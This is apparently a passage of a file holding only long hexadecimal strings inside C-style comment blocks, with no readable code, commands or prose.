ce05a67d9f3a594beabf0aa900dae7f5ad7b924e41091781bb2d0a93870e550b6d68e138be7f95257de74c3391035b1ef5bcc25360c62afee230c87c280de8c37857e4391819b4c7808e10361e691d6efd02be12d94783da0d4a5a0c61a9ed678444c5a3f0ee38dd066286712a480152cc9d60d0f2655b1950bed6c6bd8cf0906db34e7775d3a609b2acfb87900068ae0ade3e95cbb276db7f354405e5e230fd8ad290567c72a1465df358d3281c1038dfa4cc0e2aab4e1029649b0f3133e7981ab2c347fbefa93d5f1b07340fc73db13fe42249fc6f75fdf69cf7f4a8766804d7ab629801a8e2c0ab22a9c266f9a90751ef589da443752af595717e4982709ac9d7472b43f737d2515c0daaa5f9f77e54d697f55ccf0d020f08e7b9be1f1480bdfe5e134632bf798d8dc34deb36e923d1dd4339ccb6dd71f146d0e9ea66d3a722551befb31092f36a4adb11e1158a02ec8d4cd5dd30111ac1c8eddfab2ea5830184e613350e983b625b4535757a5eb3fd93f1a0815fa85b5f3bc2b42f3c546ff7e20210e2cb988f5b5f4494f462174e33cee2a86fb7879c7913d6416fc34b59c63369c1d552ab9444aeb0ac77a2faab423e5b946286f61fa0f63b4dbb1dbd4df330d64f4a328c13e557ed04b37a0db0cb5c7fe16b28fd0ccdb05e1f5e62c923139896654458a355612d0a06afef9256972e1344391856f36dcb405658cbd3226febc352a2a5a38189d5987fc7979a4a6f*/
/*b8280a0528b5710c0bdba30b37bcd173511af8e4fffb5fc2797bd4fe3c09bb19a18ec1c5c9c361a7480ef3dddf5805abc97dc4bfc033bfdfe399567df88d19d37532a0c85b25b21d23c2df25ff5456d0ba672685176ba41906d13a0097591e0e516fa9d2679f87a0d16360e5d549f1ff1b84855a294ca73a4fe13338151429793e30659f6f56a6b135de4fd147848c44eeef30066ba8c25faab6d26bc06b356a2cc0dcc07a729eadcdd428870d39360c15cc20aa261c1f23598f7461563f7e4e856721f042e05483aa5c75420c38b08e514710a1566e2e57efe9949d0759d77cd3e22261067946cd19fd8d7a4d86aab99bc1b0fcc3895f6ab20d171f5506711d672e6f119650e9bfa021bccdfba9fb5d8580607d6cf94892151346ffd1cf1bae6eebfd6ffd0b8799e41a4bcda3f3b04594ba97d964c9cbfd8dfb1641c66e9ec50c847ecedf17d8eaa5d8d15397fd1c2b6b819c9923960ecd29b05c23c9f53f01c69ce5ee5bdde7c9c1b96ba3bc12ed2ae19a5678eee7c2752a014774f214803c85a140f688128b3620da615b59bfa23d0a8ba3b4bfe01c2bd6ebc39ef304baa4cf053a8b46948e2d4b059f006722fa42352bb2f160cc937bdaa0e6a778e64e9e0d62b53eff1e4dd32a208c05445c309dec0963fcacd93d76a2394c13d2178cf58c0b8168362c2e3d4f09900deb12b8d1a2a963f18ff7982e85551560791b312760c3115aa7451268ac7242b1693bc8e99a559db52272199621a457c89655eaf25a54872e5ee837bc35e8ced7c3e3fcc58f402cbae4e88aeea99f66fd47a7e5b9622f04a10291f63525ce938dce0eda851fa66ec913d8500af840efbcfc298db3b47819058a6e22cd0dd161d5bda785b4ed1552beae9c97270c4f830baa4ffc3e9b193c86272d64353721c5e260db03ac9805a564b3d76a8fdaf9ad774905e87b170921f83a5f2fc5d40239306f86b40c1764bbc68485a4dbc4e3b70e5bb238463784258c8d5d9469140ff878a40eaec78a7d6605e0a79943f11f408567f9e76eabe1a0f54314c5aa705ed57e92dc4a09507b539016bd2139e1c6424ff56f3c328f3646a11d13c814ed6913d74dbb4749503a851249d12a5561a8fffa6984f2d525f9464ac82f7f587b56406e4a466df8d914934ec56c2f1957e9812acdb78f56855510513db867d60aa82d22f5570d6e4b1d7a8b41cb125e6251f3fac4ca7ea90e451b9664ee0e0c0f904b8f5606011add7694f985d1ea83b1d0b018cfa7ea0405111990e54101fc721704f88a635e76616ff48a84138be92b91e7eb32e4be1c269ebc337fcd1ee13de56ca653643dc2661c12f1290edd15762ed347f8262f7c2649746855a720cfa25770ba57ec4f0a6928c512a9ac0b5d29cf5ebf6077b7496a3eda8c13b4f1253278b4b83f53dde260236fd0e98c86cfa1c032cb5eb4076a61fc87a9b6cf69fa0b23d1d6fd2e7d9e585c9b524e6772259e630ed5b487cda2e7102c07870b0924f147b539dde5918ab0047eaa929c84cc585ecd87f905fb96c64b9c45a3e55e2d95ab3a776054059edb6a9639e460d7e9b5d958a67a212a79a54b856008fc38f5aaa97ea13720a39912ff64b95a1dddccafef8c5034bce719e9516df375cb3c94433c40d570ebb1dd14f99f53f1cac04836b883856744c309b81127a78bf7a412d12523ec714a427aa7d1bb527ae0430e7c4ea9fac17b188e1eb1901a7121d73b51f1a0930749a977844a8deef67a6c7d53732f09ad671f22fd7ae190c3b655bf9d62673db6b5d1633a202e928ff79889718f1fc99e21b607f07763fee24a8403ed05981540f8d3e4d397bbbee1beb07b54efd84caa68367ce279dd8b5c73012247b0923958d9428d113cb503065a7f4edbcfc774e7f0c1863ba79ef914bfdbab7581ef8b7b5417b1cd12f54ece323ad5f56b575e44de9ffd6a8ba9f368762011e20a4cac51b757ef4724e214dad27e888c9419a2906feb3cc8cebc1ec9ae7c710916410b0d6680ef09085c5d83eab6ae089c26b5e34e896196ab4ca2b9b8b8c2178aebaf100a44cdda47d47b648885faf80ac2730fcdd463b1cc51e51397a038336ff513651a67e177a1a32134e64d720f2f0af6dbad005984c7d4fc0e70ee26969477cc3e315f9f417ddcd506ffc23a40d0437d0e5ad97a99ec6dc039e8643bf53f383c98e2fc26d3cde5a9d2dee95d4240ccc507e3a0072aac2cd8ffb744047964049f4ac10808d335ea2aff410be8130fa0f17de6af1d7cd7bb8bd8edc4c1ae3e33766320360d3ade040cbf602fdcb1a61138a64657aae0ef4b35374cac51f33e044aa3a5c5c6fad2122a3bef836a84561b91bcb9a2194bc211e0712a3d3f2d445b156ace8c6602bac4c3f1e5c900d97b78c0300e6508dc620f037ec2a2fa9b8d19e2c9987f0a7fd06ea875fae5c0e4c8ca2f6e5399f1c4f97dca499c280424275c7c81701e0ff586c9831eed29de2925d1229793bd748a790469e055ef37e2baf290e9fa7c8e97e4e82053432bfd4198fafb7f5a159b9348f887aa37d3c7127fd05225b0fb9d769133d11ac1ac39fde11f4dc6ebcc6f18b7b5d6b3167836e887a98e1cef9af0ba55db4beabd09623a62b8f880df4880f4ad52a85f9910cc30237419f5357c5c819a1c89607c417b2307245a67d759303a5a61ebcb40ce8b508dd48ac2831746a0b612654a77811a9a2795da76eef79a44f72b756a91588a328bf50ecedbe9663301b7dec197fcc1fbf2ae9d170c79b1d35314d931723a7b1d709e281b83f9a65480697fd27b79cd01445a9a5de111119bb30bc5fcc5c096d8bdb2e34db56d1a*/
/*e3f9a17decc5f5573fa1f88cf0b0b4411bc413c862027214afadfc0256169aeef287772796d692c6529bca4f918b0f64edeb96310c1676f92e0dda5219310862eccfcf0a4c95a42bfa64194d620e3f9234eff49b1ecbdf19caf6885c535567f76f4b2e69351f1d5600dc27626f1eeec720a809e285faf2943f99c0bcdf2faf0bbfe2d01cf67e7de91c2e8d242f4af227433ff8e495fc66c87391333185672412d1a24bcd59a8eabaacdef311e598431039eabdec4b36e91e3c06eea5e1457c31f8b3527f91b10171ca9897596971cfad3210194460ecf26999e9ca0521f0dd56b365448899a3c1992af43957b97702d27b00e3cf6c19b94dd76ca2a42bf973239e4191c0c6895fa49432ec728742499cdf1597aaedfc480e4952f5b13c878b97ba134b69fa8c605b6fc8d42ece1df6122be43c1c592bb86c79a905e0d8f4610945552a7f19d2e44fc8b7a2126e2637ab8a22d6a9e6d8c4d6a68a87244289bcc53efb85283a017049c1cb443f63a80958fb778454f7f515adc31f2fb022720819992438f814735b9622a59d12b34caa35db506aec2b064c5beb40659c4ec409254f272950522f6636ab9efd8382352915996aa6df7bb25223c5060477914622afcc560ac88fac29a50469a65556b46c310bd0d2bb06420be280f090c841e52f81da2e65afa17e16bc2760837bfd25f0afc0a5277bce2c3a325398e69ce442632cf821de078217484cd3bdcaab72bfaf75a77e374a3edcfdc5df138e523982de887d56227906ec509aef13a659c15f09d3f2dd76500448b4d2e71712ee8051dbfc23f23c6d41d9f463950afd133d63161ab08622f4851b6c9adc8c73e654afa253ce4622c66c32496dcda6f1ff282f0be8d48919e4976d93a821a6376cfc98727d5279f5297810c03bcc0f6e5ffc50a3d572f184fe20099e3c43ae8cf7b4be621aceb295e33d75545c16ca1c0109841446f51c7b7121f25a3509e26c5bae39f6f79626c63c8ede6ba7f8b8a8044e7a76363bb37152ce1abead89363b210bb0ab454b68eb95a2b3a327e410aa06dfd6eebdae6c21386da132f22c325b9fdfa276c7e5377ed6ebf889cb965dd0b8e411bbdb3d68dd4219196714af7d0b2beb8acaeed2690d700d7ed5edb44f256bd3306a185664431b6807e721ee95bbbe8dcb3a27963080826e8070ea998892098d82fe5df833341578141f66ae5f733f7221460e91b8e4026daf3b25d1c3dba85c477be0a024aa1b44a737f88a3597de2f5fa0f727bee368cf6c1432adf83fc8ad5d8b66f3ff21340aa6c700bc98f3e5d6b94222d0fd8b37545391ba58c69243301e4e0fbeb83099f09efe383a7a1550afd121fb94ca5269a409da9a3b212bb6625ed81c2845061836e33142c3e6958a2d858b8c548986326886d34a8c16a7f6f4f9e235fadc2911c2773dd04a810bdb6379990598547f1844089aeedf71568f82dc2d05c1d77b51f18a5f697195d7cc964e24a57255cd7345ba0b047a40d9a0a188b4b6a8c4e9bde85f94aa5bb770370c3f1f08f39a7170527b28117aaa45dd71646c964b7f9ae94d91ab0ab9ea17e9e4491b9245fc0be13a142e222119d1da7c3f5dddd0988940481f8ec3a1dd6ddec6fe6f71fcd4812126c2af234bcbc5e45093be1836142ce9b4ca356c9cffa5c255aabf8d5f64de7b408da46507e111f13647399c963a2f4b71c947f9902f50d2f3a99c22271800a7eb979662b31e3847fc57a2c0f82f74e2d33273333c956087524f396db2de7833e8084b9338a114da906cec810948f23a47ecd7287acd9210e5a39aa3ee195c6e665d20a1f838996e2f11da0dc794990045d4057b48ff85443ab0f16ac3952efbab4896f3d0bc704b22d23e682c713dd728de3e422cd1aba7860e62a5eb282037b9b0c5ae943063d32bd33200bfba35606b52fe7c13743520f1f06cd8ec144626b4cc27214f8476fbb62719145bc644df253a087bb87f6e759adc8a0d2b3aa7a08f67cda31ceba0d7ec2f7ad57cdf12dfc2ebf9da94c5b553949e3b26136f579498eb73e523502e889623d7ce5e66dbcdf5f9e7fe8f7611e9620d04d563fbf3e80e73a699cbe87799f05a1494585acd49e817b1059adc02afd93bc31630f2adcbcdedea186ff47893f38f120fba2975388f2cb178d18c24dbc905fed8faf8514a1711b7e332915d8435fb85f91e9c3b2fd34d931515adc7819418b088bedfa3c4d06a0867075ae8bae63e6d41326aeefbc4dcefbbee6c35fde7c106f2100e39d3646138a1f99b09985851bf4cfd379551a09b6da719e9877f4269e354407bdb7efa10b7355fb4ce786db37a2365ddae68825d5d6d1d958849e6966e26e5f14377cb9f69c1dec201a33e5ee903393f046cc694a0974b1c7be83d545b1bf0f75d1340448572a40ab623d929a0ae6a40b7e350404d5c403b43bc5c3b94d7209e000225060062e299ba42951cccb57b592c08622b43097a3bf995899151d296a31c3a052ad923e6279a6766e80a04080d103d40f91f04767891ee109690bb7a9403a42cbf8e9c9be5483bb69200e3d31ada6552beb250fed517ad24007fd249a2a165d820c82630c674ea6b6179279a5e42dfeca1c6a834af378a6ed929f437c2c3da5000d73f4fe690a44ef305670888baa657efecaa351d203e00f465992235b3c3043965b85995884df9bb42f2a39c62c82ebc995d811729b931fe42df4f83b0e91a53fbee400f0fcc0bb720c3dbd6ad71b05b0c5061b5284bee61b60c4b03104dc4cfa41426a37c10077284f26f18f6757d082f99da030c006651d1fbb24eac961186f46f83df11350247b15c*/
/*3f1dc289d3d3bbd42bfee818c48b7331a41d9b6d1093d387a1630a72d266509eced8a3cc57c4099169d77260f04e83661384619e83f9f5d20905887c21d582b14208ae582fa5688b3b7e200c00a1a21eae2c56d5f39691511322dcb442acbbda12f20d7bfc7822b03435925dfba315c21ea91ec5a67ae2fb647d147bc5d057581546bd74dd689718f982d7e9b62f7d3ede0919b0e054debc3d8106f7c64e99c1db526f4892c86abf6b4e864af69b91c6f9c053e386021ff54b9ca2124d49ca9ee0fb8673e93d08d826e7ff32ac6dbb1dd17ea6e35df7038be890d366a176e650c6f0bc194bb12aa88d079fed7425d3303ee860a3555e8bc878b7c40737ba0148f9b6546840ea63e139699df5b919143b3c697af2c0783f7f9c56df9ebdb2150bd45bda189cc03ec74dc0e66fad3eee498dd7535e743cadda24cb02d8c4e5ab890f380513a22f437bac8df6377f4b80e594564098677d4b358caf667f585d085bccc80da79407e81dac96f6366f8a1d13752f04937ee8ed1cca059f74736473b5e1d47ff74c88193a130941a7aaf18b1d011f8125c6c59b732d040652f481d6980419aced503aacbf5168ba8bc761539a626ca4a398771a9e8afb211c06c37a949b5ccb0166a8dcbbaab90948bfd8198e8c3bccb4293d4adc8dbe3da9cb8b644491c1aa185aae0a5635908e69078caf5e9fcc0d37e1ac71e4a440b1471ba1f73822a40eeae4c3f9ed33bbce8338a1844b384c63b412b8510436b621f5774e00abe87ae68112eb383d7557a6fe2baade2c85b86dfa4db6daffeb73a14b8b40a4330c2e1868b9f556118ee96665ebe929681b6e39c8908104ffcc1f2c2103c083a3de10ba71a1aa082c81e829c25b3bb7c7cb36832eb6b3680aa9b611ee4d168a6e5abe3669a8059a04c0cbf03d93f78367cd7e053932e4e65c617b56de2d4fb22a69f49693fe81e9a5a14b2ca2c424a415c834e45deacfe454986727f797b71a95538eddb5589aac2515c85fff6b1799ada4eb7f6584dce8d6266d253045c48eb9b8e7bce09c3afedaa3d19c8a7d021561f17be3c7a7fb261364b4471482c3d4eb34b82c9e91cede12622327f72cf0565166cde926d6d191b48bb5239ad8699f8ce034cf449fd8838228698813a8b3207324680780c9bdc9d8362ad9d7f16d4236561ec874d2b536ee458187d1921c8a286860296abc8b686b7b65e221c662273dc6facea2aedd3fca3bc7eeeb068b11b18576ccd75e28d1a8a94c9dff494dc304ef794973c411be834fbb53c893d7e52fc4c7703440e6eedd7cb1de1464d3794949ec398c875d8a1e9697e2ea3805b7fed308aa01bc2775320fcdf3b2813461b6da971b3951b31e9913918145c8e0c5c64009a7c25b2dc0171624f10bbd0f91d8c3688271c3f5cdc338d704dafefcc5042c8ce09fa38999f0304ed9f47a5c32c44d698b7d954ef6ea3dc563600886e857c8b92931d6ff13ba225f4d157a4c1f9409e68cef8bce0d78ce506bac62ac4b43351ecbbd1a64e790ce0dad61e486122702fdc4268033b05b346806145f267f3dc3cdea7a7dad0d0cccbbfe784205b52af1f1d4c7a4643fcbd05ccec85145a1d941a87bd6ca28a3ab8e8c639b25f3915c32d7aa79226a6dda9dec3f1622b44a424be982e0819429df85770d12faeb48357e1e0070438e565615657e9414406a03869ea4bbc72ddda3b9a1888973476b8a4e41962a2af63378a859465c274435e37e5d2a29b474511228028875cbdb2c475584f9e5161ea2ae41e790b00163894c903152da841b40d3e1d9692edb8f58ff9d51f4f95a5947e3e79de8f311eb1bfb863cd1c562f10362e11f00b1932a16d0656b2ea1a2090a9b5bf0334f71245f7d2c48b214d16d9490b0c9beaab65b28e49aea4f4051ba8ab87e56e1a260378015cd4f416954ad57bc486ec45f99116a64a3ff9163851293f06b4747ada3d473f5cd564b89a64cb664d7ace13e693f5862b5ec00ea37e49326fbc5ca4111c0051aa8eb911333c7ef0cdbc9c8d00702b97a26b408f00322f9d4ae60c9786e71c63477282bd4e4ed8ef0a90e477bd76b902b88ea7d1c3d2a51664eac037a44ce95681113ddadf1c373cd95eaf213b7ec56d08984a50c9e7b5c048b09e98e010f8ac2a834b58cdd8d8df5d95b1099d0e20b77d9bc3c9129f5f1ffb04a908968d2e7fc6fe6b98a43d315ce948c759f1eed2e511f16a4f96bc8872b0e8eb3a5b0996312717f79961476cdf5e5bacb6d1ea4ff6fb7b5ec409d2c0362cc597b00fb05869791dfa4786cbc60e276a636a6e6f8c0af96e94e467f339f554ece8bc889e60efe9bec2980ebb16e726489e16015588d237dd3be85746966d184d4e33993094afd280f5c12a8faaf6c92c939d5469774d022d819f17f8c94550f22179da547c14c21e5ff8e26081ad2f13d49150d4421b921713bbaa694803e5b75230ec26b73a364ec8d5938406954e52c849bc7351e47cba5ada8a59ea8b81c586960edd73d664c2ffdf13791286101f11441a97910384c7b5a181a53915fd5b6e8344b7bae3657a17751abc2aaf671515ddca9973423f0ba0d06db320f0afb0137996b6e8178319f67913278d065ba17086c428e00749df8f4a83d88f28bd776c548f1e8689b49758b997e7c226733825110cd9980daaadaad7f83c0ba18b5ad0b3327c570e29963d7eb67cf9ae6375b0a527ebb4b45dbad128653445eaef0d93d273fa7de23e36634231169538b0244160184c81b98cab7fb9e8ffd87e4fa8b2db06796f892d543e991624b9e681463d5364f945c0f78a7aa996bf3b3f35e74479967fc360a*/
/*f39408352c5d6212f7e38f55b51856d835f20631a68d092875143903da1fbc91891cd7d6fdbfad2cd9731b7a334be29524a317cf8c2af4a1f30f031047aa6710067fc9c300f8c73575d8224c7424eaf625a3db0c096d6cf464cb536009d37955c5a25920bdc3d4919faa99276e1148217c68e4fd8658a0dc17dc9faf9eed25ba6564ca31f5c1285e52c252b9877994d62192f0a2b13db27385c67a32ca61d3b24a92e910d799e3cbbca9ac169270adc7449aa61179903a4afaea6b1ead7cff700e021308c7236383356b488dd2c4e9ed43bd3a906aa54f1ccf6f910ecbcf9092ac7b24287c8f156e54d885b8b3e0ed333119bb5d728722fbe11817ea8af53eea41968bc1373ba5d1578a6af7cbba38679d554eeaea0aa2535f09a50a1715fe605cdee95d4419878bdf6b551e5b45517d3360fd912ec0514e2db30c9e2decc667f91c348f29c4a7121b24b39ed562a0b0c7a2098fc7a69b0f483acea313cb324d94d3471f37080cae7210adad0ff8c4dd573ec26c1f5876eb44e152b8ee17350560ac55a676e2c813649326d35f1678125da389a083e44d647fc3e08107dadb3732eb1e1f63ec15e43e89904f2be8c42f3a4625121672c5ac11f0e4ef8bbcdbbc2f7da1883ae1452396248be9b66e243915046929a0902ac51eea4742c59bf7967023c87bb898d4f8b333f2d77c49ced8db6f93e8e30a99b16b8b8ca823e69e5db26d30cf0345c875d5f7930e441c9278323a0c7cb03d63802745ac77482a2991f61271a07de462d683a304c763e079c8495f179f6e0a74c1bdb0d4e4256d6f2734a19fcb1d4935ea246278a7be65618011b44630ce0f81642dc0fe54eea29ba17949f7884b7c425563933bd056d414c68ced55ab093ca47ef0e9a079d2fb97849ce556c30b30e14515e31a2c65d6ce3710a836d3426bddd1a13608986235bc7d31f8445fb0ad1424c368fb29ec3d1a8ca6ec9d1c42b25d68de0680125e4582555babaa1b09377ebfc93fc7b8f941a8fbb2c6f1fd95618e332835e9c0c72a3d524b4a9d7220e812d03713bf628c715916836633143dd38660b09a3c85ac50011baeffb299f4b431e872ab0ac4d10f274c5bbaf1c1c11c94bdb05e9bb63b60af4a968b25b9b3fe98369401aa7ae1d4b47accbfd6eea4c7c9940047401a08db8bebf7cb96c8b4d06af411e35ebd2650d6655f8367e52fd78d5ba726e59fd1c94ad5ff8701d0e789c3f83350a3c258a37e25bf1c309541a599f10da8cc134eb12e8ae83d7d008ce225d6e44726dc82fcce0f92a6ce2f9be3e2da37597e41def96163dd4171913c772bbd7183a022fe3d85ec526f2125fca1ec351bd1ade175e837e6508b1e4ae600b0e646a5616ed66092e9a282ecb09fe8fa4e11207e5412c62feaa66739dd31a9349db23e0c3fb54789208795a53beac05d72b659f1d0dc1210ec508650833c0c3a094246c6b8ed0b849ca5cd84eeab77d7926e25b16b412fdedd0e13b08d85cba1c96f90b753f5a8f42c67646dfe72a16876f6dfcf0d67475147b18cf9695a36386a5bb20506b24080e3f50c8f3e964c781f733684757d6d94238a2c719c31b0497ba66357b6963cf8b5589827cd381b17c31b475e3a7c1d8107285a5d553e0d0e44db705694a26d20cc867a37e1cb310dea737679527a1095e2c9b2262b80923571c3b4b8dda7c5bd58c6b922a7bee524ede65de46ab8fd82648c3f24d4063fd335f803a0abaf69d22879902d7f6d420cad91d6889ca4c94a4d1c89c1ef435f9bdf5897603e812f4e53d4284906403ab6447cec1d97bd4bb579e49d94728ff38f9ac15d758b91ac7b62f5a8370e9948287a59d242662356fd1e27df3edfb47eb2212fe01ffd6ca7dd106bee889e5efedf6ed6b19f471970a81d67c26d0de2f510e6f602b02c4ad3e71b3613813faf1c469d8e8d3ec37a369f617b49d4a3f8f735ac6dff717544bb96066ddc591a95b2d4528185cf5a6532f46039cf67720dfa59b3072df4463054d86ce00841cb7ba384fbd162a25ce868a55d3b414bc8779a9dfe8e448755c68299ad39ae0c6cf738bda4702e92f6f16f17dc6d725b604db65593cdeb4f90b74c43f37e34de3b1f67d7295888b063ffa4919cd710ea9063606f9e60ed29b996f426ee8204a71ba65e4a9488262ad3595dcaad0f1ccfc8084b40221b6282b3252317463525571c3eaa45897ed23d74737c10fd0a9170d718d1b23bc00ab6c4c50d9061191790a0e68ab9c4c5385ab59831ec0f7aabf0f5a32e92d029034f27603751b292502447048bb0004c91cdb3e35ff948ad9da4cfe7d85cd3ee369556abcfdfb6857c6829ceffe05a3cd583b3c6b7e60c626636dc715689a1616a662ad1ae1239cdc5ce2327584eb3b4dfa36e1b23876f9a630ffa921c113f489c5fb6871ccc8a3dbffca1ccaea837c97b500409c0a94d5e133d3c79c6a354ea70b15d369ae58aabffced19e6b1046eae26ff6f7bd29f42df63a143fadac791e7de7b45a0f01689cdfa1b86cde9db8adb0d2abc2d5719cd749b9fe0b1142ba64909f63e67a5dbd4a2b84ff707dc7d8b16bcc0b79339897b41173ab65cd1cd15c6935be453701fcfb89ebd316d51d2cc4526edc1ddb5f42fbbcd6064044feb9641e0e308a145eb785115f1aa0a2eb522094dea48245242b55f40eea2a8d070e30010bf1b4c5bbd67f54446375a5b98c8b1d821ca4c0e79351299e32cc68e00a599cbf9007a71aded7d93e93f7b80bca809f6d1a7dae2d1b00bf3ad5efcb05a1bebccd6b5003c703a210754a5523ac2b81b34d0f397fa62f116c5e3c8171cbedcb042d31c39bc0d1*/
/*f6b8c7e857e480f9779213809841f069f610baa5469ede3b63542509513d0f9dd12b3ce6f388b017570adeddfeed46e93012d95e3ae7559095716e12e1f3c80800b60050ae9c85eb271eadaaec88ac72198117b6c4d8b0b849b598c1f40060ba4a356fe711064b992794f105ff1cee2cfcf2e151b70f0795c29fe2ba791ab661d9cf998a38087f40a09ffede7dceb4171dd0fbd5b2f9a831f6e27a26f655b3a21ca051b9eabd988367973cde92005677eb97be062eafe34c7f408df4b2c5135739ee9f1c84f5be5eaa8535bffba2b482a6dd53924d92e250a0f9abb54b16ccab89825900b2aa351cfa9d09c72408debae29194b07d1f63650f13c13803dc7f673b48e9deb1821bf526c9d9d4c8e0e77d0642b684ffe876acbbae058029e01a6e49ca3956224ba1ecc760c0124314b128cf45329f726b1bd1691bb428042cab5880e027c1ac1be084e2f52b3738744e70568df8b87b3f9dbde923a7319078ad3680691e2980a344a8238af73016790f6e011ea9a955edc8348e96f895e32751d97db6d5a089913c9a528bc4b602ccdf344c08ca7a68221b2f3bb92f39206eea37210acf5a8ef357401ead7936dc4dc792f0e6cb4851f217f671f6cbc1bef40508c0664d6cd496e0abb6d5c98f60854332763d38542ecac0c37cbc8ee75bc14f50e31a9834c7ec165dd2348e9ed1b15b149b2a65e5c71913320d1b9e89d32540db446cce06bb45f8183e69321fabcf3473fc5fd97c90e1f13f3f0d3d63781e1a31a8c18eb0b429a944f237859bbd5a1209c847762943d17cf554a32ca210098376e8b394bc96dee27626a3e6eae2f630656cc8e7e1a9d95a71d31afcc266b5fb966a69c80766efa2baf3412af6192c835d34130287f7e092075ff7217e086c8c4566b8b7df93c958f7204842a0cdca89ce040a2062748fb601647fdb9a48993a3e14a7e9c2015381f4e9c856ac3b350cda19901fb6d5b2de63c11c8e64abe3d80b5c0c7dd9a1084b436d0f9d7eb28f49b49fe7da28257ffcb6f08347509a757a3ec41a9c293e95bb331a93678c7a19d37afa20cddeef1c513370e9cfed86ee2ab4362f2f88ffca0ce83bb411ad61ddecb8b4550338bfd596d8f309dcd0d45c6504c5e083a9532dc752980649027952342adb3ec805e2b581fd8e46657b1e01c410995418a20b54c82caf33927ea566cb4b46b67fb355d18244f1db5e280c2ce70287a462ecd2f1e6a2c66506c37e6fd7a2e06946957c0d2a70b93d2d8cc6fcdcf8adf8416f58f63d653b0e3d44b34fe5015b5442a1ce93963bbe938733671510eb77076a9d198cd8e3cdd2333acde9a5f674287699220577fe43969257b08ce3d75b8dc6b95bf2fb7587a14074dd20be37623d6907808de78838c776e5965588dc043d19fbd1171caee0faba13c0157062728094a20f8021124f3beedb8504de1593bdbca5fc2c1cb644df3f2e46ca213edb625c006f97376fea83ab62f1bc0f4dc448f1f57cc6b15f6a07dc4d74278a96c9c3932face2d6e1ecf38162970ca276a59413f0bf03e4a7386e2ea4877254b688dd74ac281dea736a501a5ee1f8e3416ec24324e040de6de346d3cca746b3c43d9db8c005c57c452cd3464ddc523ed2c8b4c75e261079718c6587e997b2dbb1f9b9abbffd35d768699a989f3b4df1e5e8a407f9dc67a67d4a3c5480f93072a1452f0a39b06c3d2bd1137c73de618ae4b7d3f8bfd2489c1cd9794b411ac7fffda35fbe8be09dd74f81e349cdec65c8bdaae6c4c3868321e6e61b7bb70af38194f353a676d9a2e55a4d658fa5c9c2f8a781149a86639e20b6d7192cf8e2a609f940b56280aa0f3be849bc0d7a50eda2cc173728603eba6d1d09c23e178f71c4bddc1eb6147573821def688e14bd0fe739034cc27f7ea7c59e0e41508ed61efe3246b7f5b7ebc86e794b5226030b3752f7999ee3b01a625e8d6ba72b275c27a4dc573bdb3e22b996cd5852d1434a4c882645f4b640beb7eb037e338c72223799367dae06261068d75799364fb97e01f1c93dce4be7b972397be10dcf3bd00290b7bc0674b6b7dda309b9755bf0b82b6596b953ee5fbc37a0419f8d08d93d79c20aeaf92c7846f5c6886322018e6bacfdbf02bf5e5de60bc44238bba00e0779fc0d8ce3b6c99a1e9fa5137943d462a9c22fd375b88a02d0a666a509b99cb06a5c9e555c61a91b8dadb064f319a5f94f25ca39a66571ee54559c7ff2ae7544b09a8592140ff5ed3654571f96b556a7d45ded2986e794f8b14f1615b5e5d58810ecb0294b41148b3e92871587e0928601f95f6a15ed092613b0a0e9d7b0ab33ba152007e1877d2dc5389773907b372f89525a24facf4c0822b6db72e1c3f0f4996de145ef7d0ec30cdf1b548bbce29ab376b8edb0e3c2b307d3d054949959b7d5ade578abb65a5912ca0311171d106a8a07304e799798456a4d1dcb10d77425dcd6e3133f67896d0fdd0b1232995a2a18574780aa7be24add00cd3b850d2076b5ee6a88857845e460d2a674c0f28f4c8b7aacdd5cbe85bbbac5b4a223a754b90b10a9a3becfd72b45b88d0b04dbb9e7f52ed7b25ec7f41460d643600295d3c3e7fe6dbe7a9c6bf37c961e150fddc7874322b186cdaf7f8261cf26ccfa2c5874a9bdc515b02ac571ead6690d1d8c2caa65615917e6f23856370a9df51d110300ce286e2b5699597937acd703c61eb1f2213687fb11c389072116075f2907af9068ff10f18be368ff9b119f47e9a74806b06f9a97f0f4c1a19f34458ad14d7e5147db493f74e45007995d233226348eaac0ae22c3c18590204d1b2af9a2a94aafde4bf2*/
/*73bb1e0f731cfa8343aeb75679b4bd7fc0151d03e289bd28163c1cb2d01b460ca0f9d6df2e7fb648031facef3668ba1debb85c816e59fd16852401e8c050fa2b323f6ba99f5acb481080665d9985b8e98bbdea8568c082ac6998e5f763dce3640f4aad937cb8df31078e3255e64271be90d37ecbf7bb746050f635bd187203fe9a8f2a213d2f0126dc15c0d445f4d336812884f4f2037ce67a686baa8b06022027e96f57df7079ae92ae2dcd1e541ffebf489728c5c473ef9b8e76616358a009341e0ec5e3b535867c7ab2dc1f268a4ed300e90b3a9ed90ac0ddbcbd78d0056785b1aab2ee854ab3f70b7caab6aba66a51fcda6a9d68a3f1c2f692f0bc0e26f5292bfa5a886c3c6b09c251428bedf802486ebcda4ab98f38ffd6d251f5f725ecdabb7f7b23955f3954e4c9403ed2fd7008211fbec11c93193b135109008104f54ab238c529a33fee816be7fa22d7485a2bfcfdab94926dade591767380f51dbd287a1c75d42cf11ee3852440892f9926c18a2eb65a430b8c248e023a771a6d10418227f5df75e9c73d4af5fcae1a882bd4e55e15e899fa3e4f36445468f0e323c93a9fd4ac4b877588191dbbf760cd8f7483513cc381054988ed83544935c14f0a49ee650c74667a994207b51d6ab3fb3febc153b8f68d3051140e117e9ce3372f98ee8913ca964643ae43b94e042af5b55d0fdb11e60e4f24498236dca56f315e53f542ef71d3df6283acf26d7b392bed029a6c8a52199add44c5cac58862deec704bc8dc0b07c8e613837ac2cb6e63b94a755b786b803f5872237c844da63aa6ee1f55ff73106543a5ac1d7d09bf92daf33fefcc2c46273fefd6640890d80b1104e94d8db2a0f28dbe251ccd754b290e42aac0dc7ca301fb1c364eb860ba89e59c74f4a3ccd0d897dcadf1036f021e32f195961bd3249f0b1d6e743d5e225be37e3354c5af3afb018daa3a2cad5b5f59a3f3ffe8d3eaeee26ae5283b5077fe7f83abc9820589646262fcb49eecef0b640a6dcd27afbde1fdfbe1a73f9c5bc5523bb616b85c6014a42d75e4bde59f5ef6917764353fac340c6baeb503f3b71745b7ca0b886ac5abcf9c06c701e4421d15caa8ceec25b517d3519704ab7993b7003676c3e2b1798d7cb742e236dbcec0653e82d3219260236400c516a97f3795755be2d8d5f84c6a7eaec8e223b9a6c5bb04529cf5c1538135e2eb9994d4b7c6ac309d09d04d58001d0540c127301194c1e37a82576639a4f8cfb4960de15900d675751d04480676554d0adebf32f04828b425a0489086cc19a8166376ebd493bb308187a815df4d5ecfc3dd23ab7a8c1c0fcaf0d4d900eb40cfde5aedf2144d1e46d5a43940ddda741b0e3072c3dc07b2177345f0562830066684e838ab509ae5f169ad